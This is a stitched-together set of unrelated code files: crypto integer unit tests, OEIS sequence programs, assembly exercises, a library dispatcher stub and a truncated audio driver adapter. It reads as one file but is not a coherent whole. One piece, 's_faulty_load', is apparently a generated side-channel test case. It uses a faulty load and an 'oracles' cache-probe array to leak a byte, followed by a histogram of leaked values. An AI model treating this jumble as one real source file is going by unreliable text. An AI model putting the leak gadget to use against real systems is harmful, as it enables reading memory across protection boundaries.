BOOST_CHECK(OneS.ToString() == ArrayToString(OneArray,20)); BOOST_CHECK(MaxL.ToString() == ArrayToString(MaxArray,32)); BOOST_CHECK(MaxS.ToString() == ArrayToString(MaxArray,20)); BOOST_CHECK(OneL.ToString() != ArrayToString(ZeroArray,32)); BOOST_CHECK(OneS.ToString() != ArrayToString(ZeroArray,20)); // == and != BOOST_CHECK(R1L != R2L && R1S != R2S); BOOST_CHECK(ZeroL != OneL && ZeroS != OneS); BOOST_CHECK(OneL != ZeroL && OneS != ZeroS); BOOST_CHECK(MaxL != ZeroL && MaxS != ZeroS); // String Constructor and Copy Constructor BOOST_CHECK(uint256S("0x"+R1L.ToString()) == R1L); BOOST_CHECK(uint256S("0x"+R2L.ToString()) == R2L); BOOST_CHECK(uint256S("0x"+ZeroL.ToString()) == ZeroL); BOOST_CHECK(uint256S("0x"+OneL.ToString()) == OneL); BOOST_CHECK(uint256S("0x"+MaxL.ToString()) == MaxL); BOOST_CHECK(uint256S(R1L.ToString()) == R1L); BOOST_CHECK(uint256S(" 0x"+R1L.ToString()+" ") == R1L); BOOST_CHECK(uint256S("") == ZeroL); BOOST_CHECK(R1L == uint256S(R1ArrayHex)); BOOST_CHECK(uint256(R1L) == R1L); BOOST_CHECK(uint256(ZeroL) == ZeroL); BOOST_CHECK(uint256(OneL) == OneL); BOOST_CHECK(uint160S("0x"+R1S.ToString()) == R1S); BOOST_CHECK(uint160S("0x"+R2S.ToString()) == R2S); BOOST_CHECK(uint160S("0x"+ZeroS.ToString()) == ZeroS); BOOST_CHECK(uint160S("0x"+OneS.ToString()) == OneS); BOOST_CHECK(uint160S("0x"+MaxS.ToString()) == MaxS); BOOST_CHECK(uint160S(R1S.ToString()) == R1S); BOOST_CHECK(uint160S(" 0x"+R1S.ToString()+" ") == R1S); BOOST_CHECK(uint160S("") == ZeroS); BOOST_CHECK(R1S == uint160S(R1ArrayHex)); BOOST_CHECK(uint160(R1S) == R1S); BOOST_CHECK(uint160(ZeroS) == ZeroS); BOOST_CHECK(uint160(OneS) == OneS); } BOOST_AUTO_TEST_CASE( comparison ) // <= >= < > { uint256 LastL; for (int i = 255; i >= 0; --i) { uint256 TmpL; *(TmpL.begin() + (i>>3)) |= 1<<(7-(i&7)); BOOST_CHECK( LastL < TmpL ); LastL = TmpL; } BOOST_CHECK( ZeroL < R1L ); BOOST_CHECK( R2L < R1L ); BOOST_CHECK( ZeroL < OneL ); BOOST_CHECK( OneL < MaxL ); BOOST_CHECK( R1L < MaxL ); BOOST_CHECK( R2L < MaxL ); uint160 LastS; for (int i = 159; i >= 0; --i) { uint160 TmpS; *(TmpS.begin() + (i>>3)) |= 1<<(7-(i&7)); BOOST_CHECK( LastS < TmpS ); LastS = TmpS; } BOOST_CHECK( ZeroS < R1S ); BOOST_CHECK( R2S < R1S ); BOOST_CHECK( ZeroS < OneS ); BOOST_CHECK( OneS < MaxS ); BOOST_CHECK( R1S < MaxS ); BOOST_CHECK( R2S < MaxS ); } BOOST_AUTO_TEST_CASE( methods ) // GetHex SetHex begin() end() size() GetLow64 GetSerializeSize, Serialize, Unserialize { BOOST_CHECK(R1L.GetHex() == R1L.ToString()); BOOST_CHECK(R2L.GetHex() == R2L.ToString()); BOOST_CHECK(OneL.GetHex() == OneL.ToString()); BOOST_CHECK(MaxL.GetHex() == MaxL.ToString()); uint256 TmpL(R1L); BOOST_CHECK(TmpL == R1L); TmpL.SetHex(R2L.ToString()); BOOST_CHECK(TmpL == R2L); TmpL.SetHex(ZeroL.ToString()); BOOST_CHECK(TmpL == uint256()); TmpL.SetHex(R1L.ToString()); BOOST_CHECK(memcmp(R1L.begin(), R1Array, 32)==0); BOOST_CHECK(memcmp(TmpL.begin(), R1Array, 32)==0); BOOST_CHECK(memcmp(R2L.begin(), R2Array, 32)==0); BOOST_CHECK(memcmp(ZeroL.begin(), ZeroArray, 32)==0); BOOST_CHECK(memcmp(OneL.begin(), OneArray, 32)==0); BOOST_CHECK(R1L.size() == sizeof(R1L)); BOOST_CHECK(sizeof(R1L) == 32); BOOST_CHECK(R1L.size() == 32); BOOST_CHECK(R2L.size() == 32); BOOST_CHECK(ZeroL.size() == 32); BOOST_CHECK(MaxL.size() == 32); BOOST_CHECK(R1L.begin() + 32 == R1L.end()); BOOST_CHECK(R2L.begin() + 32 == R2L.end()); BOOST_CHECK(OneL.begin() + 32 == OneL.end()); BOOST_CHECK(MaxL.begin() + 32 == MaxL.end()); BOOST_CHECK(TmpL.begin() + 32 == TmpL.end()); BOOST_CHECK(GetSerializeSize(R1L, 0, PROTOCOL_VERSION) == 32); BOOST_CHECK(GetSerializeSize(ZeroL, 0, PROTOCOL_VERSION) == 32); CDataStream ss(0, PROTOCOL_VERSION); ss << R1L; BOOST_CHECK(ss.str() == std::string(R1Array,R1Array+32)); ss >> TmpL; BOOST_CHECK(R1L == TmpL); ss.clear(); ss << ZeroL; BOOST_CHECK(ss.str() == std::string(ZeroArray,ZeroArray+32)); ss >> TmpL; BOOST_CHECK(ZeroL == TmpL); ss.clear(); ss << MaxL; BOOST_CHECK(ss.str() == std::string(MaxArray,MaxArray+32)); ss >> TmpL; BOOST_CHECK(MaxL == TmpL); ss.clear(); BOOST_CHECK(R1S.GetHex() == R1S.ToString()); BOOST_CHECK(R2S.GetHex() == R2S.ToString()); BOOST_CHECK(OneS.GetHex() == OneS.ToString()); BOOST_CHECK(MaxS.GetHex() == MaxS.ToString()); uint160 TmpS(R1S); BOOST_CHECK(TmpS == R1S); TmpS.SetHex(R2S.ToString()); BOOST_CHECK(TmpS == R2S); TmpS.SetHex(ZeroS.ToString()); BOOST_CHECK(TmpS == uint160()); TmpS.SetHex(R1S.ToString()); BOOST_CHECK(memcmp(R1S.begin(), R1Array, 20)==0); BOOST_CHECK(memcmp(TmpS.begin(), R1Array, 20)==0); BOOST_CHECK(memcmp(R2S.begin(), R2Array, 20)==0); BOOST_CHECK(memcmp(ZeroS.begin(), ZeroArray, 20)==0); BOOST_CHECK(memcmp(OneS.begin(), OneArray, 20)==0); BOOST_CHECK(R1S.size() == sizeof(R1S)); BOOST_CHECK(sizeof(R1S) == 20); BOOST_CHECK(R1S.size() == 20); BOOST_CHECK(R2S.size() == 20); BOOST_CHECK(ZeroS.size() == 20); BOOST_CHECK(MaxS.size() == 20); BOOST_CHECK(R1S.begin() + 20 == R1S.end()); BOOST_CHECK(R2S.begin() + 20 == R2S.end()); BOOST_CHECK(OneS.begin() + 20 == OneS.end()); BOOST_CHECK(MaxS.begin() + 20 == MaxS.end()); BOOST_CHECK(TmpS.begin() + 20 == TmpS.end()); BOOST_CHECK(GetSerializeSize(R1S, 0, PROTOCOL_VERSION) == 20); BOOST_CHECK(GetSerializeSize(ZeroS, 0, PROTOCOL_VERSION) == 20); ss << R1S; BOOST_CHECK(ss.str() == std::string(R1Array,R1Array+20)); ss >> TmpS; BOOST_CHECK(R1S == TmpS); ss.clear(); ss << ZeroS; BOOST_CHECK(ss.str() == std::string(ZeroArray,ZeroArray+20)); ss >> TmpS; BOOST_CHECK(ZeroS == TmpS); ss.clear(); ss << MaxS; BOOST_CHECK(ss.str() == std::string(MaxArray,MaxArray+20)); ss >> TmpS; BOOST_CHECK(MaxS == TmpS); ss.clear(); } BOOST_AUTO_TEST_CASE( conversion ) { BOOST_CHECK(ArithToUint256(UintToArith256(ZeroL)) == ZeroL); BOOST_CHECK(ArithToUint256(UintToArith256(OneL)) == OneL); BOOST_CHECK(ArithToUint256(UintToArith256(R1L)) == R1L); BOOST_CHECK(ArithToUint256(UintToArith256(R2L)) == R2L); BOOST_CHECK(UintToArith256(ZeroL) == 0); BOOST_CHECK(UintToArith256(OneL) == 1); BOOST_CHECK(ArithToUint256(0) == ZeroL); BOOST_CHECK(ArithToUint256(1) == OneL); BOOST_CHECK(arith_uint256(R1L.GetHex()) == UintToArith256(R1L)); BOOST_CHECK(arith_uint256(R2L.GetHex()) == UintToArith256(R2L)); BOOST_CHECK(R1L.GetHex() == UintToArith256(R1L).GetHex()); BOOST_CHECK(R2L.GetHex() == UintToArith256(R2L).GetHex()); } BOOST_AUTO_TEST_SUITE_END()
; A133818: a(n) = (8*n+3)*(8*n+5)*(8*n+7)*(8*n+9). ; 945,36465,229425,801009,2070705,4456305,8473905,14737905,23961009,36954225,54626865,77986545,108139185,146289009,193738545,251888625,322238385,406385265,506025009,622951665,759057585,916333425,1096868145 mul $0,8 mov $1,7 add $1,$0 sub $1,1 pow $1,2 mov $2,2 add $2,$1 sub $2,7 mov $1,$2 mul $2,4 sub $2,$1 mul $2,2 mul $1,$2 sub $1,5766 div $1,1152 mul $1,192 add $1,945 mov $0,$1
global idt_write idt_write: mov eax, [esp+4] lidt [eax] ret
; 5e04.asm global main section .rodata chpair DB `pair\n` chpairlg DD $ - chpair chimpair DB `impair\n` chimpairlg DD $ - chimpair fichier DB `resultat`, 0 section .bss nombre RESD 1 descr RESD 1 section .text main: mov edx, 53 ; un nombre mov dword [nombre], edx ; sauvegarde edx (nombre) mov eax, 5 ; numéro de service: 5 (open) mov ebx, fichier ; adresse du nom du fichier mov ecx, 100q | 2q ; CREATE | RDWR int 0x80 bt eax, 31 jnc _ok jmp _erreur _ok: mov dword [descr], eax ; sauvegarde eax (descripteur fichier) mov eax, [nombre] bt eax, 0 jc _impair ;pair mov eax, 4 ; numéro de service: 4 (write) mov ebx, [descr] ; descripteur de fichier mov ecx, chpair ; adresse de ce qui doit être écrit mov edx, [chpairlg] ; la tête de lecture est avancée du nombre de bytes à écrire int 0x80 bt eax, 31 jnc _fermer jmp _erreur _impair: mov eax, 4 ; numéro de service: 4 (write) mov ebx, [descr] ; descripteur de fichier mov ecx, chimpair ; adresse de ce qui doit être écrit mov edx, [chimpairlg] ; la tête de lecture est avancée du nombre de bytes à écrire int 0x80 bt eax, 31 jnc _fermer jmp _erreur _fermer: mov eax, 6 ; numéro de service: 6 (close) mov ebx, [descr] ; descripteur de fichier int 0x80 bt eax, 31 jnc _fin jmp _erreur _fin: mov eax, 1 ; numéro de service: 1 (exit) mov ebx, 0 ; retourner ok (0) int 0x80 _erreur: mov eax, 1 ; numéro de service: 1 (exit) mov ebx, 1 ; retourner erreur (1) int 0x80
/* * Copyright 2018-2021 Mahdi Khanalizadeh * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ .section .text .global linux_syscall3 linux_syscall3: mv a7, a3 ecall ret
#include "GameApp.h" int main(){ GameApp app; app.escena(); app.initRender(); return 0; }
; Aula 01 - Introdução ; hello.asm ; Meu primeiro assembly! ; nasm -f elf64 hello.asm ; ld hello.o -o hello.x section .data strOla : db "Ola", 10 strOlaL: equ $ - strOla section .text global _start _start: mov rax, 1 mov rdi, 1 lea rsi, [strOla] mov edx, strOlaL syscall fim: mov rax, 60 mov rdi, 0 syscall
extern m7_ippsGFpElementInit:function extern n8_ippsGFpElementInit:function extern y8_ippsGFpElementInit:function extern e9_ippsGFpElementInit:function extern l9_ippsGFpElementInit:function extern n0_ippsGFpElementInit:function extern k0_ippsGFpElementInit:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsGFpElementInit .Larraddr_ippsGFpElementInit: dq m7_ippsGFpElementInit dq n8_ippsGFpElementInit dq y8_ippsGFpElementInit dq e9_ippsGFpElementInit dq l9_ippsGFpElementInit dq n0_ippsGFpElementInit dq k0_ippsGFpElementInit segment .text global ippsGFpElementInit:function (ippsGFpElementInit.LEndippsGFpElementInit - ippsGFpElementInit) .Lin_ippsGFpElementInit: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsGFpElementInit: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsGFpElementInit] mov r11, qword [r11+rax*8] jmp r11 .LEndippsGFpElementInit:
// This file is part of www.nand2tetris.org // and the book "The Elements of Computing Systems" // by Nisan and Schocken, MIT Press. // File name: projects/04/Mult.asm // Multiplies R0 and R1 and stores the result in R2. // (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.) // Multiplication is addition by n times // In this case, RAM[R2] is added by RAM[R0] for RAM[R1] times // RAM[R2] can be directly used as result // Pseudocode: // result = 0 // x = RAM[R0] // n = RAM[R1] // i = 0 // LOOP: // if (n - i) == 0: // goto END // result = result + x // i = i + 1 // goto LOOP // END: // RAM[R2] = result @R2 M = 0 // RAM[R2] = 0 @R0 D = M @x M = D // x = RAM[R0] @R1 D = M @n M = D // n = RAM[R1] @i M = 0 // i = 0 (LOOP) // for(i=0; n-i>0; i++) @i D = M // current i @n D = M - D // n = n - i @END D;JEQ // if (n == 0): goto END @x D = M @R2 M = M + D // RAM[R2] += x @i M = M + 1 // i += 1 @LOOP 0;JMP // goto LOOP (END) @END 0;JMP // EXIT
; A028020: Expansion of 1/((1-2x)(1-8x)(1-11x)(1-12x)). ; Submitted by Jon Maiga ; 1,33,711,12677,203175,3043341,43527247,602201829,8127414999,107618860349,1403846663583,18094236941781,230951316035623,2924174000253357,36776292351134319,459910668538753733 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 mul $1,2 sub $2,1 sub $0,$2 seq $0,16318 ; Expansion of 1/((1-2x)(1-8x)(1-11x)). mul $1,6 add $1,$0 lpe mov $0,$1
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1908c, %r9 nop nop nop nop nop add %r11, %r11 movb (%r9), %al nop sub $62072, %r12 lea addresses_WC_ht+0x2934, %rsi lea addresses_normal_ht+0x5543, %rdi nop nop nop dec %r15 mov $8, %rcx rep movsq xor %r9, %r9 lea addresses_WT_ht+0x9cb4, %rdi nop nop cmp %rcx, %rcx mov $0x6162636465666768, %rsi movq %rsi, (%rdi) nop nop nop nop nop xor $56262, %rdi lea addresses_A_ht+0x5c56, %r9 clflush (%r9) nop nop nop nop add $22471, %r15 mov $0x6162636465666768, %rax movq %rax, %xmm5 vmovups %ymm5, (%r9) dec %rsi lea addresses_WC_ht+0xbd34, %rsi lea addresses_WC_ht+0xc534, %rdi clflush (%rsi) nop nop nop nop add $52127, %r15 mov $49, %rcx rep movsq nop nop nop nop and $27691, %r11 lea addresses_A_ht+0xd34, %rsi lea addresses_normal_ht+0x15734, %rdi clflush (%rdi) sub $6908, %rax mov $107, %rcx rep movsq nop nop nop xor %r15, %r15 lea addresses_A_ht+0x1ad1a, %rsi lea addresses_normal_ht+0x4d74, %rdi add %rax, %rax mov $34, %rcx rep movsw nop nop and %r9, %r9 lea addresses_WT_ht+0xbd34, %rsi lea addresses_WT_ht+0x1d734, %rdi add $19061, %r12 mov $102, %rcx rep movsq nop nop nop nop sub %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r9 push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_UC+0x9534, %rsi lea addresses_PSE+0x5534, %rdi nop nop nop and $47825, %rbx mov $105, %rcx rep movsq nop nop nop nop nop and $34105, %r11 // Faulty Load lea addresses_UC+0x9534, %rcx clflush (%rcx) nop nop nop nop nop sub %r11, %r11 movaps (%rcx), %xmm2 vpextrq $1, %xmm2, %rdi lea oracles, %rsi and $0xff, %rdi shlq $12, %rdi mov (%rsi,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 1, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'congruent': 0, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_PSE', 'congruent': 10, 'same': False}} [Faulty Load] {'src': {'type': 'addresses_UC', 'AVXalign': True, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}} {'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}} {'a6': 1, '08': 2, '48': 3810, '45': 1016, '00': 8032, '49': 8961, 'ff': 7} 49 49 48 49 49 48 49 49 00 00 49 49 00 48 49 49 00 49 00 49 49 48 48 49 00 49 49 00 48 49 49 00 48 49 49 48 49 49 00 48 49 49 00 00 49 00 48 49 49 00 00 49 49 00 48 00 49 48 49 00 00 49 00 49 49 00 00 49 00 49 49 00 48 48 49 48 49 49 48 48 49 00 00 49 00 00 49 48 48 49 00 49 49 00 48 49 00 49 00 48 45 49 00 00 49 48 00 45 49 00 00 49 00 48 45 49 00 49 49 00 48 49 00 49 49 00 00 48 49 00 49 00 00 49 45 00 00 49 49 00 49 00 48 48 49 00 00 49 00 49 00 48 49 00 48 49 49 00 45 49 49 00 48 49 49 00 49 49 00 48 49 49 00 45 49 48 49 49 00 45 49 49 00 49 00 00 45 49 00 48 49 00 45 48 00 00 49 00 00 49 49 00 48 45 49 00 49 49 00 48 49 49 00 00 49 00 48 49 49 00 49 00 00 00 00 49 00 00 49 49 00 00 49 49 45 49 49 00 49 00 00 48 49 00 45 49 00 48 48 49 00 00 49 48 48 49 48 48 49 00 48 49 49 00 48 48 49 00 45 49 00 00 49 00 00 49 49 00 48 49 00 48 49 49 00 00 49 49 00 45 49 00 00 49 49 48 48 45 49 48 48 49 49 48 00 49 49 00 48 49 00 49 00 00 49 00 00 48 00 48 00 49 00 45 49 49 00 00 49 00 00 00 49 48 48 49 48 48 49 49 00 49 00 48 49 49 00 49 00 00 49 00 49 49 00 49 49 48 45 49 49 00 45 48 49 00 49 49 48 48 49 49 00 48 48 49 00 45 00 49 00 49 00 00 49 48 49 49 48 48 49 00 49 48 48 49 00 48 48 49 48 00 49 00 49 49 48 49 49 00 00 49 00 00 49 49 48 49 49 49 48 48 49 00 00 49 45 00 49 00 49 49 00 49 49 48 00 49 00 00 49 48 48 49 48 00 49 00 49 00 00 49 45 00 49 48 00 49 ff 00 49 49 00 00 49 00 48 49 49 00 00 49 49 00 00 49 49 48 49 49 00 00 49 00 00 49 00 49 49 00 48 49 48 49 49 00 49 00 00 45 49 48 49 49 48 49 00 00 49 00 49 00 00 49 00 00 49 00 48 49 00 48 00 49 00 49 00 48 45 49 00 49 49 00 48 45 49 00 49 49 00 48 49 00 00 49 00 49 49 00 49 49 00 48 49 00 48 49 45 00 49 48 00 49 00 45 00 49 00 00 48 49 48 49 00 00 49 49 00 00 49 00 48 49 49 00 48 49 49 00 00 49 49 48 00 49 00 45 49 49 48 49 49 00 49 00 00 45 49 00 48 49 00 00 48 00 00 48 49 48 00 49 00 48 48 00 48 48 49 00 48 49 00 00 49 00 48 49 49 00 49 00 00 49 00 48 00 49 48 00 49 00 48 00 49 00 00 00 49 48 45 49 48 00 49 00 00 49 49 00 45 49 00 00 49 00 45 49 49 48 48 49 49 45 49 00 49 00 00 49 49 48 45 49 49 00 48 48 00 00 49 49 00 00 49 48 49 49 00 48 49 49 48 49 49 00 00 49 49 00 00 49 49 00 00 49 00 00 49 49 00 45 49 48 00 49 00 00 49 48 48 49 00 49 49 00 00 49 49 45 49 49 00 48 00 49 00 49 00 49 49 48 48 49 00 00 49 00 48 49 49 00 49 00 00 49 00 45 00 48 49 49 49 00 45 48 49 48 00 49 00 00 49 00 00 49 00 48 49 49 00 45 49 49 00 00 49 49 00 45 49 49 00 49 45 00 00 49 49 00 00 49 00 49 00 00 48 49 00 00 49 00 49 49 00 49 49 00 00 49 00 48 49 49 00 49 49 49 00 00 49 00 00 49 49 00 00 49 00 00 49 49 45 49 00 49 00 48 49 49 00 49 00 49 49 00 48 49 00 48 00 49 48 45 45 00 00 49 49 49 00 48 49 48 00 49 00 49 49 00 00 49 00 00 49 00 48 49 00 00 49 49 00 00 00 49 00 49 49 00 00 49 00 49 49 00 48 49 49 00 49 49 00 48 49 49 00 49 49 48 48 49 48 48 49 00 49 49 00 48 00 49 00 49 00 00 49 49 48 49 49 00 48 49 00 00 49 48 00 49 00 48 49 48 49 49 00 48 49 49 00 49 00 00 45 49 48 45 49 00 49 00 48 49 00 00 49 48 00 49 */
/* * Copyright (c) 2018 Spotify AB. * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ #include "NFDriverAdapter.h" #include <stdint.h> #include <stdlib.h> #include <string.h> namespace nativeformat { namespace driver { // Cross-platform atomic operations. #if _WIN32 #include <windows.h> #define ATOMIC_SIGNED_INT long #define MEMORYBARRIER MemoryBarrier() #define ATOMICZERO(var) InterlockedAnd(&var, 0) #else #define ATOMIC_SIGNED_INT int #define MEMORYBARRIER __sync_synchronize() #define ATOMICZERO(var) __sync_fetch_and_and(&var, 0) #endif // Linear resampler stuff. // Why linear? Because more sophisticated resamplers are killing treble without // oversampling. The noise of this resampler will typically happen around the // Nyquist frequency and in the -90 db or lower region. Audiophile bats may // complain. Humans are not able to notice. typedef struct resamplerData { uint64_t *input; // A buffer on the heap to store NF_DRIVER_SAMPLE_BLOCK_SIZE audio. union { float f[2]; uint64_t i; // Makes loads faster a bit. Don't believe the hype, compilers // are still quite dumb. } prev; float rate, slopeCount; } resamplerData; // This linear resampler is not "Superpowered", but still faster than most naive // implementations. static int resample(float *output, resamplerData *resampler, int numFrames) { resamplerData stack = *resampler; // Local copy on the stack, preventing the // compiler writing back intermediate // results to memory. float left, right, invSlopeCount; int outFrames = 0; while (true) { while (stack.slopeCount > 1.0f) { numFrames--; stack.slopeCount -= 1.0f; if (!numFrames) { // Quit resampling, writing back the intermediate // results to memory. resampler->slopeCount = stack.slopeCount; resampler->prev.i = stack.prev.i; return outFrames; } stack.prev.i = *stack.input++; } // Linear resampling, the compiler may recognize that these are primitive // Assembly instructions. invSlopeCount = 1.0f - stack.slopeCount; left = invSlopeCount * stack.prev.f[0]; right = invSlopeCount * stack.prev.f[1]; stack.prev.i = *stack.input; *output++ = left + stack.slopeCount * stack.prev.f[0]; *output++ = right + stack.slopeCount * stack.prev.f[1]; stack.slopeCount += stack.rate; outFrames++; } } static void makeOutput( float *input, float **outputLeft, float **outputRight, int numFrames, int numChannels) { if (numChannels == 1) { // Mono output. float *mono = *outputLeft; *outputLeft += numFrames; while (numFrames--) { *mono++ = (input[0] + input[1]) * 0.5f; input += 2; } } else if (*outputRight) { // Stereo non-interleaved output, deinterleave to // left and right. float *left = *outputLeft, *right = *outputRight; *outputLeft += numFrames; *outputRight += numFrames; while (numFrames--) { *left++ = *input++; *right++ = *input++; } } else if (numChannels > 2) { // Interleaved output with more than 2 channels. // Can happen with Linux only. float *output = *outputLeft; *outputLeft += numFrames * numChannels; memset(output, 0, static_cast<size_t>(numFrames * numChannels) * sizeof(float)); while (numFrames--) { *(reinterpret_cast<uint64_t *>(output)) = *(reinterpret_cast<uint64_t *>(input)); output += numChannels; input += 2; } } else { // Stereo interleaved output. memcpy(*outputLeft, input, static_cast<size_t>(numFrames) * sizeof(float) * 2); *outputLeft += numFrames * 2; } } // Finally, the adapter implementation starts here. typedef struct NFDriverAdapterInternals { resamplerData resampler; void *clientdata; NF_WILL_RENDER_CALLBACK willRenderCallback; NF_RENDER_CALLBACK renderCallback; NF_DID_RENDER_CALLBACK didRenderCallback; NF_STUTTER_CALLBACK stutterCallback; float *interleavedBuffer; int bufferCapacityFrames, framesInBuffer, readPositionFrames, writePositionFrames, bufferCapacityToEndNeeded; ATOMIC_SIGNED_INT nextSamplerate; bool needsResampling; } NFDriverAdapterInternals; NFDriverAdapter::NFDriverAdapter(void *clientdata, NF_STUTTER_CALLBACK stutter_callback, NF_RENDER_CALLBACK render_callback, NF_ERROR_CALLBACK error_callback, NF_WILL_RENDER_CALLBACK will_render_callback, NF_DID_RENDER_CALLBACK did_render_callback) { internals = new NFDriverAdapterInternals; memset(internals, 0, sizeof(NFDriverAdapterInternals)); internals->clientdata = clientdata; internals->stutterCallback = stutter_callback; internals->renderCallback = render_callback; internals->willRenderCallback = will_render_callback; internals->didRenderCallback = did_render_callback; int volatile numBlocks = NF_DRIVER_SAMPLERATE / NF_DRIVER_SAMPLE_BLOCK_SIZE; internals->bufferCapacityFrames = numBlocks * NF_DRIVER_SAMPLE_BLOCK_SIZE; // Will be around 1 second big. internals->interleavedBuffer = reinterpret_cast<float *>(malloc(static_cast<size_t>(internals->bufferCapacityFrames) * sizeof(float) * 2)); // 344 kb at 44100 Hz and 1024 frames. if (!internals->interleavedBuffer) error_callback(clientdata, "Out of memory in NFDriverAdapter.", 0); internals->resampler.input = reinterpret_cast<uint64_t *>(malloc(NF_DRIVER_SAMPLE_BLOCK_SIZE * sizeof(uint64_t))); if (!internals->resampler.input) error_callback(clientdata, "Out of memory in NFDriverAdapter.", 0); } NFDriverAdapter::~NFDriverAdapter() { if (internals->interleavedBuffer) free(internals->interleavedBuffer); if (internals->resampler.input) free(internals->resampler.input); delete internals; } // Should be called in the audio processing/rendering callback of the audio I/O. bool NFDriverAdapter::getFrames(float *outputLeft, float *outputRight, int numFrames, int numChannels) { if (!internals->interleavedBuffer || !internals->resampler.input) return false; internals->willRenderCallback(internals->clientdata); ATOMIC_SIGNED_INT nextSamplerate = ATOMICZERO(internals->nextSamplerate); // Make it zero, return with the previous value. if (nextSamplerate != 0) { internals->needsResampling = (nextSamplerate != NF_DRIVER_SAMPLERATE); internals->resampler.rate = static_cast<float>(NF_DRIVER_SAMPLERATE) / static_cast<float>(nextSamplerate); internals->bufferCapacityToEndNeeded = internals->needsResampling ? static_cast<int>((static_cast<float>(nextSamplerate) / static_cast<float>(NF_DRIVER_SAMPLERATE)) * (NF_DRIVER_SAMPLE_BLOCK_SIZE + 2)) : NF_DRIVER_SAMPLE_BLOCK_SIZE; } // Render audio if needed. while (internals->framesInBuffer < numFrames) { // Do we have enough space in the buffer? if (internals->bufferCapacityToEndNeeded > (internals->bufferCapacityFrames - internals->writePositionFrames)) { // Memmove looks inefficient? This will happen only once in every second, // and all "virtual memory tricks" will do this anyway behind the curtain. if (internals->framesInBuffer > 0) memmove(internals->interleavedBuffer, internals->interleavedBuffer + internals->readPositionFrames * 2, static_cast<size_t>(internals->framesInBuffer) * sizeof(float) * 2); internals->readPositionFrames = 0; internals->writePositionFrames = internals->framesInBuffer; } int framesRendered; if (!internals->needsResampling) { // No resampling needed, render directly // into our buffer. framesRendered = internals->renderCallback( internals->clientdata, internals->interleavedBuffer + internals->writePositionFrames * 2, NF_DRIVER_SAMPLE_BLOCK_SIZE); if (framesRendered <= 0) break; } else { // Resampling needed, render into the resampler's input buffer, the // resample into our buffer. framesRendered = internals->renderCallback(internals->clientdata, reinterpret_cast<float *>(internals->resampler.input), NF_DRIVER_SAMPLE_BLOCK_SIZE); if (framesRendered <= 0) break; framesRendered = resample(internals->interleavedBuffer + internals->writePositionFrames * 2, &internals->resampler, framesRendered); } internals->writePositionFrames += framesRendered; internals->framesInBuffer += framesRendered; } // Output audio if possible. bool success = internals->framesInBuffer >= numFrames; if (success) { // Output numFrames of audio, or until the end of our buffer. int framesAvailableToEnd = internals->bufferCapacityFrames - internals->readPositionFrames; if (framesAvailableToEnd > numFrames) framesAvailableToEnd = numFrames; makeOutput(internals->interleavedBuffer + internals->readPositionFrames * 2, &outputLeft, &outputRight, framesAvailableToEnd, numChannels); internals->readPositionFrames += framesAvailableToEnd; if (internals->readPositionFrames >= internals->bufferCapacityFrames) internals->readPositionFrames = 0; // Start from the beginning of our buffer if needed. (Wrap around.) int moreFrames = numFrames - framesAvailableToEnd; if (moreFrames > 0) { makeOutput(internals->interleavedBuffer, &outputLeft, &outputRight, moreFrames, numChannels); internals->readPositionFrames += moreFrames; } internals->framesInBuffer -= numFrames; } else internals->stutterCallback(internals->clientdata); 